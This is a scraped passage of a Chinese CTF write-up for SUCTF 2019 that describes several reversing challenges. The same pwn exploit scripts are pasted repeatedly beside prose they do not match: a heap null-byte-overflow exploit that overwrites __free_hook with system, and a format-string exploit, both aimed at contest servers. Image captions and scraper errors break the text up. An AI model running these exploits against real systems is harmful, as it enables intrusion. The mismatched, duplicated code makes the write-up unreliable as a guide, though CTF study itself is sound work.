'./glibc-all-in-one/libs/2.23-0ubuntu10_i386/'     ctx.remote_libc = './libc6-i386_2.23-0ubuntu10_amd64.so'     ctx.debug_remote_libc = True       def perchase(name_len, name, price):         sla('>>>', 1)         sla('length', name_len)         sa('Name', name)         sla('Price', price)      def comment(idx, comment, score):         sla('>>>', 2)         sla('Index', idx)         sa('Comment', comment)         sla('score', score)      def throw(idx):         sla('>>>', 3)         sla('index', idx)      def rename(idx, new_name, some_fuck):         sla('>>>', 4)         sla('index', idx)         sleep(0.1)         s(new_name)         sa('power', 'yn')         sla('serial', 'e4SyD1C!')         sa('Pwner', some_fuck)      ctx.breakpoints = [0x12f2, 0x1328, 0x118f]     rs('remote')     # rs()     libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')     # dbg('c')      perchase(0x10, 'testn', 0) #0     comment(0, 'testcommentn', 0)     perchase(0x10, 'testn', 0) #1     throw(0)      perchase(0x10, 'testn', 0) #0     comment(0, 'a', 0)     throw(0)      ru('Comment ')     libc_leak = uu32(r(4)) & 0xffffff00      success('libc_leak = {:#x}'.format(libc_leak))     libc_base = libc_leak - 0x1b0700      # clean up     throw(1)      #     perchase(0x8c, 'an', 0) #0     perchase(0x80, 'an', 0) #1     perchase(0x40, 'an', 0) #2     perchase(0xf8, 'an', 0) #3     perchase(0x20, 'topn', 0) #4      throw(2)     # null overflow     perchase(0x44, 'a'*0x40 + p32(0x190) + 'n', 0) #2     throw(0)     # overlap     throw(3)      perchase(0x10, 'an', 0) #0     perchase(0x50, 'an', 0)      perchase(0x100, p32(0) + p32(0x31) + p32(0) + p32(0x239) + ''*0x14 + 'n', 0)       throw(0)     perchase(0x100, '/bin/shn', 0)     libc.address = libc_base     free_hook = libc.sym['__free_hook']     system = libc.sym['system']     rename(1, p32(0)*5 + p32(free_hook), p32(system))     irt() 

7

最后解密即可!

babyunic

程序使用unicorn模拟执行二进制文件func

kn0ck suctf19 writeup - 安全客,安全资讯平台

func为mips指令集大端模式,使用jeb-mips反编译效果如下(demo版本只能看,不能复制,气不气?打完比赛之后第一件事就是把jeb破掉。。。)

kn0ck suctf19 writeup - 安全客,安全资讯平台

func调用完成将结果与内存区域的数据进行比较,相等则验证通过

kn0ck suctf19 writeup - 安全客,安全资讯平台

将其翻译成python脚本如下

#https://github.com/matrix1001/welpwn from PwnContext import *  if __name__ == '__main__':             context.terminal = ['tmux', 'splitw', '-h']     #context.log_level = 'debug'     # functions for quick script     s       = lambda data               :ctx.send(str(data))        #in case that data is an int     sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))      sl      = lambda data               :ctx.sendline(str(data))      sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))      r       = lambda numb=4096          :ctx.recv(numb)     ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)     irt     = lambda                    :ctx.interactive()     rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)     dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)     # misc functions     uu32    = lambda data   :u32(data.ljust(4, ''))     uu64    = lambda data   :u64(data.ljust(8, ''))      ctx.binary = './pwn'     ctx.remote = ('47.111.59.243', 10001)     #ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu10_i386/'     ctx.remote_libc = './libc6-i386_2.23-0ubuntu10_amd64.so'     ctx.debug_remote_libc = True       def perchase(name_len, name, price):         sla('>>>', 1)         sla('length', name_len)         sa('Name', name)         sla('Price', price)      def comment(idx, comment, score):         sla('>>>', 2)         sla('Index', idx)         sa('Comment', comment)         sla('score', score)      def throw(idx):         sla('>>>', 3)         sla('index', idx)      def rename(idx, new_name, some_fuck):         sla('>>>', 4)         sla('index', idx)         sleep(0.1)         s(new_name)         sa('power', 'yn')         sla('serial', 'e4SyD1C!')         sa('Pwner', some_fuck)      ctx.breakpoints = [0x12f2, 0x1328, 0x118f]     rs('remote')     # rs()     libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')     # dbg('c')      perchase(0x10, 'testn', 0) #0     comment(0, 'testcommentn', 0)     perchase(0x10, 'testn', 0) #1     throw(0)      perchase(0x10, 'testn', 0) #0     comment(0, 'a', 0)     throw(0)      ru('Comment ')     libc_leak = uu32(r(4)) & 0xffffff00      success('libc_leak = {:#x}'.format(libc_leak))     libc_base = libc_leak - 0x1b0700      # clean up     throw(1)      #     perchase(0x8c, 'an', 0) #0     perchase(0x80, 'an', 0) #1     perchase(0x40, 'an', 0) #2     perchase(0xf8, 'an', 0) #3     perchase(0x20, 'topn', 0) #4      throw(2)     # null overflow     perchase(0x44, 'a'*0x40 + p32(0x190) + 'n', 0) #2     throw(0)     # overlap     throw(3)      perchase(0x10, 'an', 0) #0     perchase(0x50, 'an', 0)      perchase(0x100, p32(0) + p32(0x31) + p32(0) + p32(0x239) + ''*0x14 + 'n', 0)       throw(0)     perchase(0x100, '/bin/shn', 0)     libc.address = libc_base     free_hook = libc.sym['__free_hook']     system = libc.sym['system']     rename(1, p32(0)*5 + p32(free_hook), p32(system))     irt() 

8

最后求解该42元非齐次线性方程组即可,但被z3狠狠的坑了一把,不知道是不是姿势有问题就是跑不出来。虽然42阶,但行列式值也不至于很难算,使用克拉默法则直接都能手算出方程组的解。最终使用Octave录入增广矩阵秒求出方程组解,flappy师傅使用numpy也解出了方程组,篇幅关系就不贴具体代码了。得到方程组解后再解密一次即可得到flag

#https://github.com/matrix1001/welpwn from PwnContext import *  if __name__ == '__main__':             context.terminal = ['tmux', 'splitw', '-h']     #context.log_level = 'debug'     # functions for quick script     s       = lambda data               :ctx.send(str(data))        #in case that data is an int     sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))      sl      = lambda data               :ctx.sendline(str(data))      sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))      r       = lambda numb=4096          :ctx.recv(numb)     ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)     irt     = lambda                    :ctx.interactive()     rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)     dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)     # misc functions     uu32    = lambda data   :u32(data.ljust(4, ''))     uu64    = lambda data   :u64(data.ljust(8, ''))      ctx.binary = './pwn'     ctx.remote = ('47.111.59.243', 10001)     #ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu10_i386/'     ctx.remote_libc = './libc6-i386_2.23-0ubuntu10_amd64.so'     ctx.debug_remote_libc = True       def perchase(name_len, name, price):         sla('>>>', 1)         sla('length', name_len)         sa('Name', name)         sla('Price', price)      def comment(idx, comment, score):         sla('>>>', 2)         sla('Index', idx)         sa('Comment', comment)         sla('score', score)      def throw(idx):         sla('>>>', 3)         sla('index', idx)      def rename(idx, new_name, some_fuck):         sla('>>>', 4)         sla('index', idx)         sleep(0.1)         s(new_name)         sa('power', 'yn')         sla('serial', 'e4SyD1C!')         sa('Pwner', some_fuck)      ctx.breakpoints = [0x12f2, 0x1328, 0x118f]     rs('remote')     # rs()     libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')     # dbg('c')      perchase(0x10, 'testn', 0) #0     comment(0, 'testcommentn', 0)     perchase(0x10, 'testn', 0) #1     throw(0)      perchase(0x10, 'testn', 0) #0     comment(0, 'a', 0)     throw(0)      ru('Comment ')     libc_leak = uu32(r(4)) & 0xffffff00      success('libc_leak = {:#x}'.format(libc_leak))     libc_base = libc_leak - 0x1b0700      # clean up     throw(1)      #     perchase(0x8c, 'an', 0) #0     perchase(0x80, 'an', 0) #1     perchase(0x40, 'an', 0) #2     perchase(0xf8, 'an', 0) #3     perchase(0x20, 'topn', 0) #4      throw(2)     # null overflow     perchase(0x44, 'a'*0x40 + p32(0x190) + 'n', 0) #2     throw(0)     # overlap     throw(3)      perchase(0x10, 'an', 0) #0     perchase(0x50, 'an', 0)      perchase(0x100, p32(0) + p32(0x31) + p32(0) + p32(0x239) + ''*0x14 + 'n', 0)       throw(0)     perchase(0x100, '/bin/shn', 0)     libc.address = libc_base     free_hook = libc.sym['__free_hook']     system = libc.sym['system']     rename(1, p32(0)*5 + p32(free_hook), p32(system))     irt() 

9

rev

程序需要输入三段数据,中间用特殊字符隔断,其中第一段必须为10位,第二段必须为4位,第三段不超过10位

kn0ck suctf19 writeup - 安全客,安全资讯平台

第一段数据存在异或校验,结合前面的汇编代码可以推出第一段数据为

#https://github.com/matrix1001/welpwn from PwnContext import *  try:     from IPython import embed as ipy except ImportError:     print ('IPython not installed.')  if __name__ == '__main__':             context.terminal = ['tmux', 'splitw', '-h']     context.log_level = 'debug'     # functions for quick script     s       = lambda data               :ctx.send(str(data))        #in case that data is an int     sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))      sl      = lambda data               :ctx.sendline(str(data))      sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))      r       = lambda numb=4096          :ctx.recv(numb)     ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)     irt     = lambda                    :ctx.interactive()     rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)     dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)     # misc functions     uu32    = lambda data   :u32(data.ljust(4, ''))     uu64    = lambda data   :u64(data.ljust(8, ''))      ctx.binary = './playfmt'     ctx.custom_lib_dir = '/root/share/project/glibc-all-in-one/libs/2.23-0ubuntu11_i386/'     ctx.debug_remote_libc = True     ctx.remote = ('120.78.192.35', 9999)     def fmt(payload):         sleep(0.2)         s(payload)     rs('remote')      sleep(1)     ctx.clean()     fmt('%18$x')     heap_leak = int(r(), 16)     flag_addr = heap_leak - 0x18      flag_addr_c = p32(flag_addr)      for i in range(4):         fmt('%{}c%6$hhn'.format(i+0xf0))         fmt('%{}c%14$hhn'.format(ord(flag_addr_c[i])))     fmt('%240c%6$hhn')              dbg('b *0x0804889Fnc')      sleep(1)     ctx.clean()     fmt('%6$x')     stack = int(ru(8), 16)      addup = (0xf0 - (stack & 0xff))/4      fmt('%240c%6$hhn%{}$s'.format(addup+14))     r() 

0

kn0ck suctf19 writeup - 安全客,安全资讯平台

以上四处代码不难得出,第二段数据必须是大写字母“ABCDEFG”中的四个,为

#https://github.com/matrix1001/welpwn from PwnContext import *  try:     from IPython import embed as ipy except ImportError:     print ('IPython not installed.')  if __name__ == '__main__':             context.terminal = ['tmux', 'splitw', '-h']     context.log_level = 'debug'     # functions for quick script     s       = lambda data               :ctx.send(str(data))        #in case that data is an int     sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))      sl      = lambda data               :ctx.sendline(str(data))      sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))      r       = lambda numb=4096          :ctx.recv(numb)     ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)     irt     = lambda                    :ctx.interactive()     rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)     dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)     # misc functions     uu32    = lambda data   :u32(data.ljust(4, ''))     uu64    = lambda data   :u64(data.ljust(8, ''))      ctx.binary = './playfmt'     ctx.custom_lib_dir = '/root/share/project/glibc-all-in-one/libs/2.23-0ubuntu11_i386/'     ctx.debug_remote_libc = True     ctx.remote = ('120.78.192.35', 9999)     def fmt(payload):         sleep(0.2)         s(payload)     rs('remote')      sleep(1)     ctx.clean()     fmt('%18$x')     heap_leak = int(r(), 16)     flag_addr = heap_leak - 0x18      flag_addr_c = p32(flag_addr)      for i in range(4):         fmt('%{}c%6$hhn'.format(i+0xf0))         fmt('%{}c%14$hhn'.format(ord(flag_addr_c[i])))     fmt('%240c%6$hhn')              dbg('b *0x0804889Fnc')      sleep(1)     ctx.clean()     fmt('%6$x')     stack = int(ru(8), 16)      addup = (0xf0 - (stack & 0xff))/4      fmt('%240c%6$hhn%{}$s'.format(addup+14))     r() 

1

kn0ck suctf19 writeup - 安全客,安全资讯平台

第三段数据不能超过十位,必须为数字,且满足上图运算,使用z3约束求解

#https://github.com/matrix1001/welpwn from PwnContext import *  try:     from IPython import embed as ipy except ImportError:     print ('IPython not installed.')  if __name__ == '__main__':             context.terminal = ['tmux', 'splitw', '-h']     context.log_level = 'debug'     # functions for quick script     s       = lambda data               :ctx.send(str(data))        #in case that data is an int     sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))      sl      = lambda data               :ctx.sendline(str(data))      sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))      r       = lambda numb=4096          :ctx.recv(numb)     ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)     irt     = lambda                    :ctx.interactive()     rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)     dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)     # misc functions     uu32    = lambda data   :u32(data.ljust(4, ''))     uu64    = lambda data   :u64(data.ljust(8, ''))      ctx.binary = './playfmt'     ctx.custom_lib_dir = '/root/share/project/glibc-all-in-one/libs/2.23-0ubuntu11_i386/'     ctx.debug_remote_libc = True     ctx.remote = ('120.78.192.35', 9999)     def fmt(payload):         sleep(0.2)         s(payload)     rs('remote')      sleep(1)     ctx.clean()     fmt('%18$x')     heap_leak = int(r(), 16)     flag_addr = heap_leak - 0x18      flag_addr_c = p32(flag_addr)      for i in range(4):         fmt('%{}c%6$hhn'.format(i+0xf0))         fmt('%{}c%14$hhn'.format(ord(flag_addr_c[i])))     fmt('%240c%6$hhn')              dbg('b *0x0804889Fnc')      sleep(1)     ctx.clean()     fmt('%6$x')     stack = int(ru(8), 16)      addup = (0xf0 - (stack & 0xff))/4      fmt('%240c%6$hhn%{}$s'.format(addup+14))     r() 

2


Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51